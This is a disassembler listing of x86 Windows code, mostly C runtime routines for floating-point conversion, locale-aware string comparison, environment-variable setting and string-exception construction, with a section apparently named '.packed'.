		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425D88
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D88:				; CODE XREF: sub_425BBA+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D8E:				; CODE XREF: sub_425BBA+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D93:				; CODE XREF: sub_425BBA+1ABj
		inc	[ebp+var_24+2]


loc_425D96:				; CODE XREF: sub_425BBA+1A5j
					; sub_425BBA+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425DBA
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425DB4:				; CODE XREF: sub_425BBA+86j
		mov	[esi+0Ah], ax
		jmp	short loc_425DD5
; ---------------------------------------------------------------------------


loc_425DBA:				; CODE XREF: sub_425BBA+42j
					; sub_425BBA+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_425DD5:				; CODE XREF: sub_425BBA+ABj
					; sub_425BBA+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DDA	proc near		; CODE XREF: sub_4251F1+440p
					; sub_4256C2+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43D488
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		jge	short loc_425E02
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43D5E8
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_425E02:				; CODE XREF: sub_425DDA+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_425E0D
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_425E0D:				; CODE XREF: sub_425DDA+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		push	esi
		push	edi


loc_425E14:				; CODE XREF: sub_425DDA+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_425E4C
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_425E3F
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_425E3F:				; CODE XREF: sub_425DDA+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425BBA
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_425E4C:				; CODE XREF: sub_425DDA+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_425E14
		pop	edi
		pop	esi


loc_425E53:				; CODE XREF: sub_425DDA+14j
					; sub_425DDA+36j
		pop	ebx
		leave
		retn
sub_425DDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425E56	proc near		; CODE XREF: sub_425AC7+5Ep
					; sub_426332+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_425E63
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E63:				; CODE XREF: sub_425E56+7j
		push	dword_4DCD84
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4DCFA4
		call	sub_425F03
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_425E90
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E90:				; CODE XREF: sub_425E56+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_425E56	endp


; =============== S U B	R O U T	I N E =======================================



sub_425E95	proc near		; CODE XREF: sub_425AC7+1Ep
					; sub_4261AB+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4DB968
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_425EF6
		mov	ebx, dword_42717C


loc_425EAE:				; CODE XREF: sub_425E95+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_425EFE
		push	ebp
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_425EFE
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_425EFE
		push	edi
		push	[esp+18h+var_4]
		call	sub_4261AB
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_425EAE


loc_425EF6:				; CODE XREF: sub_425E95+11j
		xor	eax, eax


loc_425EF8:				; CODE XREF: sub_425E95+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_425EFE:				; CODE XREF: sub_425E95+29j
					; sub_425E95+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_425EF8
sub_425E95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425F03	proc near		; CODE XREF: sub_425E56+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427CF0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4DBC48, ebx
		push	1
		pop	edi
		jnz	short loc_425F76
		push	edi
		mov	eax, offset dword_427940
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_427008	; CompareStringW
		test	eax, eax
		jz	short loc_425F53
		mov	dword_4DBC48, edi
		jmp	short loc_425F76
; ---------------------------------------------------------------------------


loc_425F53:				; CODE XREF: sub_425F03+46j
		push	edi
		mov	eax, offset dword_4CB4EC
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_42700C	; CompareStringA
		test	eax, eax
		jz	loc_42616C
		mov	dword_4DBC48, 2


loc_425F76:				; CODE XREF: sub_425F03+31j
					; sub_425F03+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_425F8D
		push	esi
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_425F8D:				; CODE XREF: sub_425F03+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425FA2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_425FA2:				; CODE XREF: sub_425F03+8Dj
		mov	eax, dword_4DBC48
		cmp	eax, 2
		jnz	short loc_425FC7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_42700C	; CompareStringA
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FC7:				; CODE XREF: sub_425F03+A7j
		cmp	eax, edi
		jnz	loc_42616C
		cmp	[ebp+arg_18], ebx
		jnz	short loc_425FDC
		mov	eax, dword_4DBA04
		mov	[ebp+arg_18], eax


loc_425FDC:				; CODE XREF: sub_425F03+CFj
		cmp	esi, ebx
		jz	short loc_425FE9
		cmp	[ebp+arg_14], ebx
		jnz	loc_426081


loc_425FE9:				; CODE XREF: sub_425F03+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_425FF6


loc_425FEE:				; CODE XREF: sub_425F03+13Cj
					; sub_425F03+16Dj
		push	2


loc_425FF0:				; CODE XREF: sub_425F03+146j
		pop	eax
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FF6:				; CODE XREF: sub_425F03+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_426002


loc_425FFB:				; CODE XREF: sub_425F03+151j
					; sub_425F03+159j ...
		mov	eax, edi
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_426002:				; CODE XREF: sub_425F03+F6j
		cmp	esi, edi
		jg	short loc_426047
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	dword_4271CC	; GetCPInfo
		test	eax, eax
		jz	loc_42616C
		cmp	esi, ebx
		jle	short loc_42604B
		cmp	[ebp+var_3C], 2
		jb	short loc_426047
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_426047


loc_42602D:				; CODE XREF: sub_425F03+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_426047
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426041
		cmp	cl, dl
		jbe	short loc_425FEE


loc_426041:				; CODE XREF: sub_425F03+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42602D


loc_426047:				; CODE XREF: sub_425F03+101j
					; sub_425F03+120j ...
		push	3
		jmp	short loc_425FF0
; ---------------------------------------------------------------------------


loc_42604B:				; CODE XREF: sub_425F03+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_426081
		cmp	[ebp+var_3C], 2
		jb	short loc_425FFB
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425FFB


loc_42605E:				; CODE XREF: sub_425F03+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425FFB
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426076
		cmp	cl, dl
		jbe	loc_425FEE


loc_426076:				; CODE XREF: sub_425F03+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42605E
		jmp	loc_425FFB
; ---------------------------------------------------------------------------


loc_426081:				; CODE XREF: sub_425F03+E0j
					; sub_425F03+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	dword_427180	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_42616C
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4260D0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_4260D0:				; CODE XREF: sub_425F03+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_42616C
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_427180
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_42616C
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_42616C
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42613B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_42613B:				; CODE XREF: sub_425F03+224j
		cmp	edi, ebx
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	dword_427180	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_427008	; CompareStringW
		jmp	short loc_42616E
; ---------------------------------------------------------------------------


loc_42616C:				; CODE XREF: sub_425F03+63j
					; sub_425F03+C6j ...
		xor	eax, eax


loc_42616E:				; CODE XREF: sub_425F03+BFj
					; sub_425F03+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_426180	proc near		; CODE XREF: sub_422ACA+81p
					; sub_425F03+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42619D


loc_426190:				; CODE XREF: sub_426180+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_42619D
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_426190


loc_42619D:				; CODE XREF: sub_426180+Ej
					; sub_426180+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4261A8
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4261A8:				; CODE XREF: sub_426180+21j
		mov	eax, edx
		retn
sub_426180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4261AB	proc near		; CODE XREF: sub_425E95+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_42620F
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4263F1
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_42620F
		cmp	[ebp+arg_0], esi
		jz	short loc_42620F
		mov	eax, dword_4DB960
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4DB964
		jnz	short loc_4261F5
		push	eax
		call	sub_42638A
		pop	ecx
		mov	dword_4DB960, eax


loc_4261F5:				; CODE XREF: sub_4261AB+3Cj
		cmp	eax, edi
		jnz	short loc_42624D
		cmp	[ebp+arg_4], edi
		jz	short loc_426217
		cmp	dword_4DB968, edi
		jz	short loc_426217
		call	sub_425E95
		test	eax, eax
		jz	short loc_42624D


loc_42620F:				; CODE XREF: sub_4261AB+Dj
					; sub_4261AB+22j ...
		or	eax, 0FFFFFFFFh


loc_426212:				; CODE XREF: sub_4261AB+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_426217:				; CODE XREF: sub_4261AB+51j
					; sub_4261AB+59j
		cmp	ebx, edi
		jnz	loc_42632B
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB960, eax
		jz	short loc_42620F
		mov	[eax], edi
		cmp	dword_4DB968, edi
		jnz	short loc_42624D
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB968, eax
		jz	short loc_42620F
		mov	[eax], edi


loc_42624D:				; CODE XREF: sub_4261AB+4Cj
					; sub_4261AB+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4DB960
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_426332
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4262AD
		cmp	dword ptr [edi], 0
		jz	short loc_4262AD
		test	ebx, ebx
		jz	short loc_4262A5
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41B0B1
		pop	ecx


loc_42627F:				; CODE XREF: sub_4261AB+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_42628F
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_42627F
; ---------------------------------------------------------------------------


loc_42628F:				; CODE XREF: sub_4261AB+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4262DF
		jmp	short loc_4262DA
; ---------------------------------------------------------------------------


loc_4262A5:				; CODE XREF: sub_4261AB+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4262DF
; ---------------------------------------------------------------------------


loc_4262AD:				; CODE XREF: sub_4261AB+BDj
					; sub_4261AB+C2j
		test	ebx, ebx
		jnz	short loc_42632B
		test	esi, esi
		jge	short loc_4262B7
		neg	esi


loc_4262B7:				; CODE XREF: sub_4261AB+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42620F
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_4262DA:				; CODE XREF: sub_4261AB+F8j
		mov	dword_4DB960, eax


loc_4262DF:				; CODE XREF: sub_4261AB+F6j
					; sub_4261AB+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_42632B
		push	[ebp+arg_0]
		call	sub_41AFE0
		inc	eax
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42632B
		push	[ebp+arg_0]
		push	esi
		call	sub_41BEB0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	dword_427004	; SetEnvironmentVariableA
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_42632B:				; CODE XREF: sub_4261AB+6Ej
					; sub_4261AB+104j ...
		xor	eax, eax
		jmp	loc_426212
sub_4261AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_426332	proc near		; CODE XREF: sub_4261AB+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4DB960
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42636D
		mov	edi, [esp+8+arg_4]


loc_426344:				; CODE XREF: sub_426332+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426363
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_42637D
		test	al, al
		jz	short loc_42637D


loc_426363:				; CODE XREF: sub_426332+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426344


loc_42636D:				; CODE XREF: sub_426332+Cj
		mov	eax, esi
		sub	eax, dword_4DB960
		sar	eax, 2
		neg	eax


loc_42637A:				; CODE XREF: sub_426332+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42637D:				; CODE XREF: sub_426332+2Bj
					; sub_426332+2Fj
		mov	eax, esi
		sub	eax, dword_4DB960
		sar	eax, 2
		jmp	short loc_42637A
sub_426332	endp


; =============== S U B	R O U T	I N E =======================================



sub_42638A	proc near		; CODE XREF: sub_4261AB+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_426399
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_426399:				; CODE XREF: sub_42638A+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4263AB


loc_4263A1:				; CODE XREF: sub_42638A+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4263A1


loc_4263AB:				; CODE XREF: sub_42638A+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4263CC
		push	9
		call	sub_41DA29
		pop	ecx


loc_4263CC:				; CODE XREF: sub_42638A+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_4263D0:				; CODE XREF: sub_42638A+5Bj
		test	eax, eax
		jz	short loc_4263E7
		push	eax
		add	ebx, 4
		call	sub_426464
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4263D0
; ---------------------------------------------------------------------------


loc_4263E7:				; CODE XREF: sub_42638A+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_42638A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263F1	proc near		; CODE XREF: sub_4261AB+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4DCD9C, 0
		jnz	short loc_42640C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41BFB0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42640C:				; CODE XREF: sub_4263F1+Aj
		mov	ecx, [ebp+arg_0]


loc_42640F:				; CODE XREF: sub_4263F1+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_426452
		movzx	edx, al
		test	byte_4DCEA1[edx], 4
		jz	short loc_42643E
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_426449
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_42644D
		jmp	short loc_426446
; ---------------------------------------------------------------------------


loc_42643E:				; CODE XREF: sub_4263F1+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_426452


loc_426446:				; CODE XREF: sub_4263F1+4Bj
		inc	ecx
		jmp	short loc_42640F
; ---------------------------------------------------------------------------


loc_426449:				; CODE XREF: sub_4263F1+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42644D:				; CODE XREF: sub_4263F1+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426452:				; CODE XREF: sub_4263F1+25j
					; sub_4263F1+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4263F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_426464	proc near		; CODE XREF: sub_417EEE+21p
					; sub_42638A+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648B
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648B
		push	esi
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42648B:				; CODE XREF: sub_426464+7j
					; sub_426464+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426464	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: sub_426573+19p
					; sub_42669A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D6EF
		mov	eax, esi
		pop	esi
		retn	8
sub_426490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264BA	proc near		; CODE XREF: .packed:004264E5p
					; sub_426568+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_40D6B3
		mov	ecx, esi
		pop	esi
		jmp	sub_4268B6
sub_4264BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264D5	proc near		; DATA XREF: .packed:00427D10o
					; .packed:00427D20o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4264E1
		mov	eax, offset dword_4276A8

locret_4264E1:				; CODE XREF: sub_4264D5+5j
		retn
sub_4264D5	endp

; ---------------------------------------------------------------------------


loc_4264E2:				; DATA XREF: .packed:off_427D0Co
		push	esi
		mov	esi, ecx
		call	sub_4264BA
		test	byte ptr [esp+8], 1
		jz	short loc_4264F8
		push	esi
		call	sub_41CC83
		pop	ecx


loc_4264F8:				; CODE XREF: .packed:004264EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264FE	proc near		; CODE XREF: sub_426573+29p
		mov	eax, offset loc_426E32
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4264FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42654C	proc near		; DATA XREF: .packed:off_427D1Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426568
		test	[esp+4+arg_0], 1
		jz	short loc_426562
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426562:				; CODE XREF: sub_42654C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42654C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426568	proc near		; CODE XREF: sub_42654C+3p
					; DATA XREF: .packed:00428094o
		mov	dword ptr [ecx], offset	off_427D1C
		jmp	sub_4264BA
sub_426568	endp


; =============== S U B	R O U T	I N E =======================================



sub_426573	proc near		; CODE XREF: sub_40D560+13p
					; sub_40D724+Ep
		mov	eax, offset loc_426E44
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4264FE
		push	offset dword_428090
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_426573	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4265B0	proc near		; CODE XREF: sub_4264FE+32p
					; sub_4265D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D560
		mov	eax, esi
		pop	esi
		retn	4
sub_4265B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265D0	proc near		; CODE XREF: sub_42669A+29p
		mov	eax, offset loc_426E56
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
